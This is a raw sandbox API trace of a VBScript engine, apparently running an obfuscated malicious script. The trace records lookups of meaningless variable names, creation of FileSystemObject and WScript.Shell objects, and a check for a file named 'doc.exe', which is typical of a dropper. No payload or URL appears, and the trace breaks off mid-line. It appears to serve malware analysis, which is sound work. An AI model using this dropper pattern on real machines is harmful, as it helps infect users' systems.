Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0089.590] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="TANGUANY", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0089.590] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="TANGUANY", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0089.590] GetCurrentThreadId () returned 0xd44 [0089.590] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.590] GetCurrentThreadId () returned 0xd44 [0089.590] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0089.590] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="SEARCHTRUE", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0089.590] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="SEARCHTRUE", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0089.590] GetCurrentThreadId () returned 0xd44 [0089.590] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.590] GetCurrentThreadId () returned 0xd44 [0089.590] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0089.590] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="RUNMETHROUGH", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0089.590] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="RUNMETHROUGH", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0089.590] GetCurrentThreadId () returned 0xd44 [0089.590] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.590] GetCurrentThreadId () returned 0xd44 [0089.591] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0089.591] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="FORWARD", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0089.591] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="FORWARD", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0089.591] GetCurrentThreadId () returned 0xd44 [0089.591] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.591] GetCurrentThreadId () returned 0xd44 [0089.591] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0089.591] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="PRINTERS", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0089.591] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="PRINTERS", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0089.591] GetCurrentThreadId () returned 0xd44 [0089.591] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.591] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0089.591] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vardwn", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0089.591] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vardwn", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0089.591] GetCurrentThreadId () returned 0xd44 [0089.592] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.592] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0089.592] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="trjrtjhrth", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0089.592] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="trjrtjhrth", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0089.592] GetCurrentThreadId () returned 0xd44 [0089.592] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.592] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0089.592] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="yty", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0089.593] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="yty", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0089.593] GetCurrentThreadId () returned 0xd44 [0089.593] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.593] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0089.593] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="tgrighirh", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0089.593] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="tgrighirh", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0089.593] GetCurrentThreadId () returned 0xd44 [0089.593] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.593] ??2@YAPAXI@Z () returned 0x86bff10 [0089.593] malloc (_Size=0x804) returned 0x83fc220 [0089.593] ??2@YAPAXI@Z () returned 0x83fa238 [0089.593] ??3@YAXPAX@Z () returned 0x2d0001 [0089.593] malloc (_Size=0x204) returned 0x844c5d0 [0089.593] ??2@YAPAXI@Z () returned 0x1129340 [0089.593] ??3@YAXPAX@Z () returned 0xffff0001 [0089.594] free (_Block=0x1197838) [0089.594] free (_Block=0x844c5d0) [0089.594] free (_Block=0x83d9df8) [0089.594] ??2@YAPAXI@Z () returned 0x86bff10 [0089.594] ??2@YAPAXI@Z () returned 0x119e138 [0089.594] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0089.594] CLSIDFromProgIDEx (in: lpszProgID="Scripting.FileSystemObject", lpclsid=0x1549dc | out: lpclsid=0x1549dc*(Data1=0xd43fe01, Data2=0xf093, Data3=0x11cf, Data4=([0]=0x89, [1]=0x40, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x5, [6]=0x42, [7]=0x28))) returned 0x0 [0089.594] SysStringLen (param_1=0x0) returned 0x0 [0089.594] CoGetClassObject (in: rclsid=0x1549dc*(Data1=0xd43fe01, Data2=0xf093, Data3=0x11cf, Data4=([0]=0x89, [1]=0x40, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x5, [6]=0x42, [7]=0x28)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1549cc | out: ppv=0x1549cc*=0x11c2228) returned 0x0 [0089.594] FileSystemObject:IUnknown:QueryInterface (in: This=0x11c2228, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x1549c8 | out: ppvObject=0x1549c8*=0x0) returned 0x80004002 [0089.594] FileSystemObject:IClassFactory:CreateInstance (in: This=0x11c2228, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1549d0 | out: ppvObject=0x1549d0*=0x11c1f68) returned 0x0 [0089.594] FileSystemObject:IUnknown:Release (This=0x11c2228) returned 0x0 [0089.594] FileSystemObject:IUnknown:QueryInterface (in: This=0x11c1f68, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x154994 | out: ppvObject=0x154994*=0x0) returned 0x80004002 [0089.594] FileSystemObject:IUnknown:QueryInterface (in: This=0x11c1f68, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154984 | out: ppvObject=0x154984*=0x11c1f68) returned 0x0 [0089.594] FileSystemObject:IUnknown:AddRef (This=0x11c1f68) returned 0x3 [0089.595] FileSystemObject:IUnknown:Release (This=0x11c1f68) returned 0x2 [0089.595] FileSystemObject:IUnknown:Release (This=0x11c1f68) returned 0x1 [0089.595] FileSystemObject:IUnknown:AddRef (This=0x11c1f68) returned 0x2 [0089.595] ??3@YAXPAX@Z () returned 0x160001 [0089.595] ??3@YAXPAX@Z () returned 0x560001 [0089.595] ??3@YAXPAX@Z () returned 0xffff0001 [0089.595] ??2@YAPAXI@Z () returned 0x86bff10 [0089.595] malloc (_Size=0x804) returned 0x83fc220 [0089.595] ??2@YAPAXI@Z () returned 0x83fa238 [0089.595] ??3@YAXPAX@Z () returned 0x2d0001 [0089.595] malloc (_Size=0x204) returned 0x844c5d0 [0089.595] ??2@YAPAXI@Z () returned 0x1129340 [0089.595] ??3@YAXPAX@Z () returned 0xffff0001 [0089.595] free (_Block=0x1197838) [0089.595] free (_Block=0x844c5d0) [0089.595] free (_Block=0x83d9df8) [0089.596] ??2@YAPAXI@Z () returned 0x86bff10 [0089.596] ??2@YAPAXI@Z () returned 0x119e138 [0089.596] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0089.596] CLSIDFromProgIDEx (in: lpszProgID="Wscript.Shell", lpclsid=0x1549dc | out: lpclsid=0x1549dc*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0 [0089.596] SysStringLen (param_1=0x0) returned 0x0 [0089.596] CoGetClassObject (in: rclsid=0x1549dc*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1549cc | out: ppv=0x1549cc*=0x1112b18) returned 0x0 [0089.596] WshShell:IUnknown:QueryInterface (in: This=0x1112b18, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x1549c8 | out: ppvObject=0x1549c8*=0x0) returned 0x80004002 [0089.596] WshShell:IClassFactory:CreateInstance (in: This=0x1112b18, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1549d0 | out: ppvObject=0x1549d0*=0x8474cf4) returned 0x0 [0089.596] WshShell:IUnknown:Release (This=0x1112b18) returned 0x0 [0089.596] WshShell:IUnknown:QueryInterface (in: This=0x8474cf4, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x154994 | out: ppvObject=0x154994*=0x0) returned 0x80004002 [0089.596] WshShell:IUnknown:QueryInterface (in: This=0x8474cf4, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154984 | out: ppvObject=0x154984*=0x8474ce0) returned 0x0 [0089.596] WshShell:IUnknown:AddRef (This=0x8474ce0) returned 0x3 [0089.596] WshShell:IUnknown:Release (This=0x8474ce0) returned 0x2 [0089.596] WshShell:IUnknown:Release (This=0x8474cf4) returned 0x1 [0089.596] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1549a8 | out: ppvObject=0x1549a8*=0x11977a8) returned 0x0 [0089.597] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="wshShell", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=1395232) returned 0x80020006 [0089.597] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="wshShell", grfdex=0x8, pid=0x15491c | out: pid=0x15491c*=-1) returned 0x80020006 [0089.597] GetCurrentThreadId () returned 0xd44 [0089.597] IUnknown:Release (This=0x11977a8) returned 0x6 [0089.597] WshShell:IUnknown:AddRef (This=0x8474ce0) returned 0x2 [0089.597] ??3@YAXPAX@Z () returned 0x160001 [0089.597] ??3@YAXPAX@Z () returned 0x560001 [0089.597] ??3@YAXPAX@Z () returned 0xffff0001 [0089.597] ??2@YAPAXI@Z () returned 0x86bff10 [0089.597] malloc (_Size=0x804) returned 0x83fc220 [0089.597] ??2@YAPAXI@Z () returned 0x83fa238 [0089.597] ??3@YAXPAX@Z () returned 0x2d0001 [0089.597] malloc (_Size=0x204) returned 0x844c5d0 [0089.598] ??2@YAPAXI@Z () returned 0x1129340 [0089.598] ??3@YAXPAX@Z () returned 0xffff0001 [0089.598] free (_Block=0x1197838) [0089.598] free (_Block=0x844c5d0) [0089.598] free (_Block=0x83d9df8) [0089.598] ??2@YAPAXI@Z () returned 0x86bff10 [0089.598] ??2@YAPAXI@Z () returned 0x119e138 [0089.598] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0089.598] FileSystemObject:IUnknown:QueryInterface (in: This=0x11c2068, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a6c | out: ppvObject=0x154a6c*=0x0) returned 0x80004002 [0089.598] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x11c2068, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x154a70*="fileexists", cNames=0x1, lcid=0x409, rgDispId=0x154a88 | out: rgDispId=0x154a88*=10016) returned 0x0 [0089.599] FileSystemObject:IUnknown:AddRef (This=0x11c2068) returned 0x2 [0089.599] FileSystemObject:IUnknown:QueryInterface (in: This=0x11c2068, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a74 | out: ppvObject=0x154a74*=0x0) returned 0x80004002 [0089.600] FileSystemObject:IDispatch:Invoke (in: This=0x11c2068, dispIdMember=10016, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x154a40*(rgvarg=([0]=0x15497c*(varType=0x8, wReserved1=0x6690, wReserved2=0x77ac, wReserved3=0x119, varVal1="doc.exe", varVal2=0x66894211)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x154a1c, puArgErr=0x154a60 | out: pDispParams=0x154a40*(rgvarg=([0]=0x15497c*(varType=0x8, wReserved1=0x6690, wReserved2=0x77ac, wReserved3=0x119, varVal1="doc.exe", varVal2=0x66894211)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x154a1c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x154a60*=0x11c2068) returned 0x0 [0089.600] FileSystemObject:IUnknown:Release (This=0x11c2068) returned 0x1 [0089.600] ??3@YAXPAX@Z () returned 0x160001 [0089.600] ??3@YAXPAX@Z () returned 0x560001 [0089.600] ??3@YAXPAX@Z () returned 0xffff0001 [0089.600] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0089.600] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="offififii", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0089.600] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="offififii", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0089.600] GetCurrentThreadId () returned 0xd44 [0089.601] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.601] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0089.601] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="lilvar", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0089.601] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="lilvar", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0089.601] GetCurrentThreadId () returned 0xd44 [0089.601] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.601] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0089.601] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="sdsdsd", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0089.601] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="sdsdsd", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0089.601] GetCurrentThreadId () returned 0xd44 [0089.601] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.601] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0089.602] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="aaaaaaaaaaa", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0089.602] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="aaaaaaaaaaa", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0089.602] GetCurrentThreadId () returned 0xd44 [0089.602] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.602] malloc (_Size=0x4004) returned 0x8785300 [0089.603] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0089.603] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="outFile", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0089.603] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="outFile", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0089.603] GetCurrentThreadId () returned 0xd44 [0089.603] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.603] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0089.603] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ii5433y", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0089.603] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ii5433y", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0089.603] GetCurrentThreadId () returned 0xd44 [0089.604] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.604] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0089.604] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="secvar", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0089.604] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="secvar", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0089.604] GetCurrentThreadId () returned 0xd44 [0089.604] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.605] ??2@YAPAXI@Z () returned 0x86bff10 [0089.605] malloc (_Size=0x804) returned 0x83fc220 [0089.605] ??2@YAPAXI@Z () returned 0x83fa238 [0089.605] ??3@YAXPAX@Z () returned 0x2d0001 [0089.605] ??2@YAPAXI@Z () returned 0x1129340 [0089.605] ??3@YAXPAX@Z () returned 0xffff0001 [0089.605] free (_Block=0x1197838) [0089.605] free (_Block=0x844c5d0) [0089.605] free (_Block=0x83d9df8) [0089.605] ??2@YAPAXI@Z () returned 0x86bff10 [0089.605] ??2@YAPAXI@Z () returned 0x119e138 [0089.605] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0089.605] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1549fc | out: ppvObject=0x1549fc*=0x11977a8) returned 0x0 [0089.605] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="prock", grfdex=0x8, pid=0x154a18 | out: pid=0x154a18*=1395316) returned 0x80020006 [0089.605] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="prock", grfdex=0x8, pid=0x154970 | out: pid=0x154970*=-1) returned 0x80020006 [0089.606] GetCurrentThreadId () returned 0xd44 [0089.606] IUnknown:Release (This=0x11977a8) returned 0x6 [0089.606] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1549a8 | out: ppvObject=0x1549a8*=0x11977a8) returned 0x0 [0089.606] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="gjfhf", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=1395232) returned 0x80020006 [0089.606] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="gjfhf", grfdex=0x8, pid=0x15491c | out: pid=0x15491c*=-1) returned 0x80020006 [0089.606] GetCurrentThreadId () returned 0xd44 [0089.606] IUnknown:Release (This=0x11977a8) returned 0x6 [0089.606] ??3@YAXPAX@Z () returned 0x160001 [0089.606] ??3@YAXPAX@Z () returned 0x560001 [0089.606] ??3@YAXPAX@Z () returned 0xffff0001 [0089.606] ??2@YAPAXI@Z () returned 0x86bff10 [0089.606] malloc (_Size=0x804) returned 0x83fc220 [0089.606] ??2@YAPAXI@Z () returned 0x83fa238 [0089.606] ??3@YAXPAX@Z () returned 0x2d0001 [0089.607] ??2@YAPAXI@Z () returned 0x1129340 [0089.607] ??3@YAXPAX@Z () returned 0xffff0001 [0089.607] free (_Block=0x1197838) [0089.607] free (_Block=0x844c5d0) [0089.607] free (_Block=0x83d9df8) [0089.607] ??2@YAPAXI@Z () returned 0x86bff10 [0089.607] ??2@YAPAXI@Z () returned 0x119e138 [0089.607] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0089.607] ??3@YAXPAX@Z () returned 0x160001 [0089.607] ??3@YAXPAX@Z () returned 0x560001 [0089.607] ??3@YAXPAX@Z () returned 0xffff0001 [0089.607] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0089.607] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="wfiwowewfugdy", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0089.607] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="wfiwowewfugdy", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0089.607] GetCurrentThreadId () returned 0xd44 [0089.607] IUnknown:Release (This=0x11977a8) returned 0x5 [0089.608] 